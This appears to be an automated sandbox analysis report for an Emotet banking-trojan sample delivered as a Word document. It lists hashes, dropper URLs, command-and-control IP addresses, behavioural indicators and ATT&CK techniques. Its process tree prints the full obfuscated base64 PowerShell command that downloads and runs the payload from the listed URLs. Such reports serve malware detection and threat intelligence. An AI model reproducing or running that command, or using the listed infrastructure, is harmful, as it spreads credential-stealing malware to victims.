emotet | 27a83b12572b1a8e36fefb5359f26b51c4da21f1ede18268f3cf499c6a960e05

General

Target

27a83b12572b1a8e36fefb5359f26b51c4da21f1ede18268f3cf499c6a960e05.doc
Size

191KB
MD5

bf14d3c4bc02d4188a14290d9b8907b6
SHA1

2565ad56537e4d1ecc7c1bee759254e28d1331a6
SHA256

27a83b12572b1a8e36fefb5359f26b51c4da21f1ede18268f3cf499c6a960e05
SHA512

2ca1210a3e8ad3387b0ec5ae33c9db3a427f2e58a522bdd3ad932f874a675faf12c9532e8f55f3c9f17ace0c69390f33c5bacc53f8bcf6f8bbd0bc0657976a7f

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://fivestarcleanerstx.com/wp-content/mu-plugins/2CLid868/

exe.dropper

https://bhandaraexpress.com/wp-includes/0Iw2jW2/

exe.dropper

http://crm.shaayanpharma.com/application/ffltO/

exe.dropper

http://zazabajouk.com/cf9r4nd/Xsma350581/

exe.dropper

https://e2e-solution.com/sandbox/Sv2880/

Extracted

Family

emotet

C2

177.144.135.2:80

104.247.221.104:443

201.213.32.59:80

190.147.137.153:443

178.79.163.131:8080

190.17.195.202:80

212.71.237.140:8080

68.183.190.199:8080

12.162.84.2:8080

186.250.52.226:8080

181.129.96.162:8080

185.94.252.12:80

77.55.211.77:8080

177.72.13.80:80

70.32.115.157:8080

114.109.179.60:80

68.183.170.114:8080

5.196.35.138:7080

87.106.46.107:8080

190.163.1.31:8080

rsa_pubkey.plain

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	powersheLL.exe

Blacklisted process makes network request 4 IoCs

flow	pid	Process
13	2524	powersheLL.exe
15	2524	powersheLL.exe
17	2524	powersheLL.exe
19	2524	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
976	988.exe
3076	AppIdPolicyEngineApi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\secproc_ssp\AppIdPolicyEngineApi.exe	988.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
976	988.exe
976	988.exe
3076	AppIdPolicyEngineApi.exe
3076	AppIdPolicyEngineApi.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2524	908	powersheLL.exe	66

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 3076	976	988.exe	77
PID 976 wrote to memory of 3076	976	988.exe	77
PID 976 wrote to memory of 3076	976	988.exe	77

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral1/memory/976-9-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral1/memory/3076-12-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3768	WINWORD.EXE
3768	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2524	powersheLL.exe
2524	powersheLL.exe
2524	powersheLL.exe
3076	AppIdPolicyEngineApi.exe
3076	AppIdPolicyEngineApi.exe
3076	AppIdPolicyEngineApi.exe
3076	AppIdPolicyEngineApi.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27a83b12572b1a8e36fefb5359f26b51c4da21f1ede18268f3cf499c6a960e05.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3768

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JAB4AGEAbwB4AD0AJwBoAGkAZgBmAGEAbwB6AHcAaQBhAHoAagBpAGEAcgBoAG8AbwB5AHYAdQB1AHoAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwB1AGAAUgBpAFQAWQBQAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAeABpAGUAegBqAGEAdQB4AHMAaQBvAG4AcABlAGEAZgB3AG8AaQB6AGcAYQBpAGIAIAA9ACAAJwA5ADgAOAAnADsAJAB2AHUAdgBjAGUAdQB5AGoAdQB0AGgAZgBlAG8AegByAGEAdgB0AG8AaAA9ACcAagBvAG8AeAB0AGgAZQB1AHoAZABhAGkAdABsAGUAaQBrACcAOwAkAGYAaQBvAGQAZwBhAGkAcwBmAGUAYQBnAGYAaQBvAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHgAaQBlAHoAagBhAHUAeABzAGkAbwBuAHAAZQBhAGYAdwBvAGkAegBnAGEAaQBiACsAJwAuAGUAeABlACcAOwAkAGMAaABhAHUAZAA9ACcAcgBhAHMAbABhAHYAeQBlAGkAawBtAGUAcgByAGEAZQB0ACcAOwAkAGoAdQBhAGMAZgBvAHgAdABoAGEAbwBiAD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAEMATABJAGUAbgB0ADsAJABnAG8AdQB0AGgAdgBhAHUAawBtAG8AYQBuAGcAbwB1AHgAcgB1AGEAbgBrAG8AdQB3AD0AJwBoAHQAdABwADoALwAvAGYAaQB2AGUAcwB0AGEAcgBjAGwAZQBhAG4AZQByAHMAdAB4AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC0AcABsAHUAZwBpAG4AcwAvADIAQwBMAGkAZAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAGIAaABhAG4AZABhAHIAYQBlAHgAcAByAGUAcwBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAEkAdwAyAGoAVwAyAC8AKgBoAHQAdABwADoALwAvAGMAcgBtAC4AcwBoAGEAYQB5AGEAbgBwAGgAYQByAG0AYQAuAGMAbwBtAC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AZgBmAGwAdABPAC8AKgBoAHQAdABwADoALwAvAHoAYQB6AGEAYgBhAGoAbwB1AGsALgBjAG8AbQAvAGMAZgA5AHIANABuAGQALwBYAHMAbQBhADMANQAwADUAOAAxAC8AKgBoAHQAdABwAHMAOgAvAC8AZQAyAGUALQBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAHMAYQBuAGQAYgBvAHgALwBTAHYAMgA4ADgAMAAvACcALgAiAHMAUABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbABlAHUAZAB0AGgAYQBvAGYAZwBlAGUAcgA9ACcAeQBlAGEAeQBsAHUAYQBnAGMAaABvAHUAYwBkAGkAYQBqAGoAdQBjAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBlAG0AIABpAG4AIAAkAGcAbwB1AHQAaAB2AGEAdQBrAG0AbwBhAG4AZwBvAHUAeAByAHUAYQBuAGsAbwB1AHcAKQB7AHQAcgB5AHsAJABqAHUAYQBjAGYAbwB4AHQAaABhAG8AYgAuACIARABPAGAAVwBOAEwAbwBBAEQAYABGAEkAbABFACIAKAAkAGIAbwBlAG0ALAAgACQAZgBpAG8AZABnAGEAaQBzAGYAZQBhAGcAZgBpAG8AdAApADsAJABnAGUAZQBjAHcAZQBmAHoAbwB1AHkAPQAnAGoAdQBuAG0AbwBpAGYAeQBhAG8AegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAGYAaQBvAGQAZwBhAGkAcwBmAGUAYQBnAGYAaQBvAHQAKQAuACIATABFAE4ARwBgAFQASAAiACAALQBnAGUAIAAzADkAMAA5ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBFAGAAQQB0AGUAIgAoACQAZgBpAG8AZABnAGEAaQBzAGYAZQBhAGcAZgBpAG8AdAApADsAJAB2AHUAdQBwAHQAaABpAGEAdgBmAGUAbwB5AD0AJwBoAG8AdQBxAHUAJwA7AGIAcgBlAGEAawA7ACQAYwBoAG8AaQBtAHoAaQBhAHQAcgBvAHUAcwByAG8AdQB3AG0AaQBlAGsAbgBlAGkAcQB1AD0AJwByAG8AYQBoAGMAaAB1AGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYgBhAHUAZAB3AGkAbABoAGkAYQBuAD0AJwB4AHUAdQB3ACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:2524

C:\Users\Admin\988.exe
C:\Users\Admin\988.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\SysWOW64\secproc_ssp\AppIdPolicyEngineApi.exe
  "C:\Windows\SysWOW64\secproc_ssp\AppIdPolicyEngineApi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  PID:3076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-9-0x0000000002250000-0x000000000225C000-memory.dmp

Filesize
48KB

Download
memory/3076-12-0x00000000020D0000-0x00000000020DC000-memory.dmp

Filesize
48KB

Download
memory/3768-2-0x000002BD47A3D000-0x000002BD47A42000-memory.dmp

Filesize
20KB

Download
memory/3768-3-0x000002BD47A3D000-0x000002BD47A42000-memory.dmp

Filesize
20KB

Download
memory/3768-4-0x000002BD47A3D000-0x000002BD47A42000-memory.dmp

Filesize
20KB

Download
memory/3768-5-0x000002BD4807F000-0x000002BD4808C000-memory.dmp

Filesize
52KB

Download
memory/3768-6-0x000002BD4807F000-0x000002BD4808C000-memory.dmp

Filesize
52KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads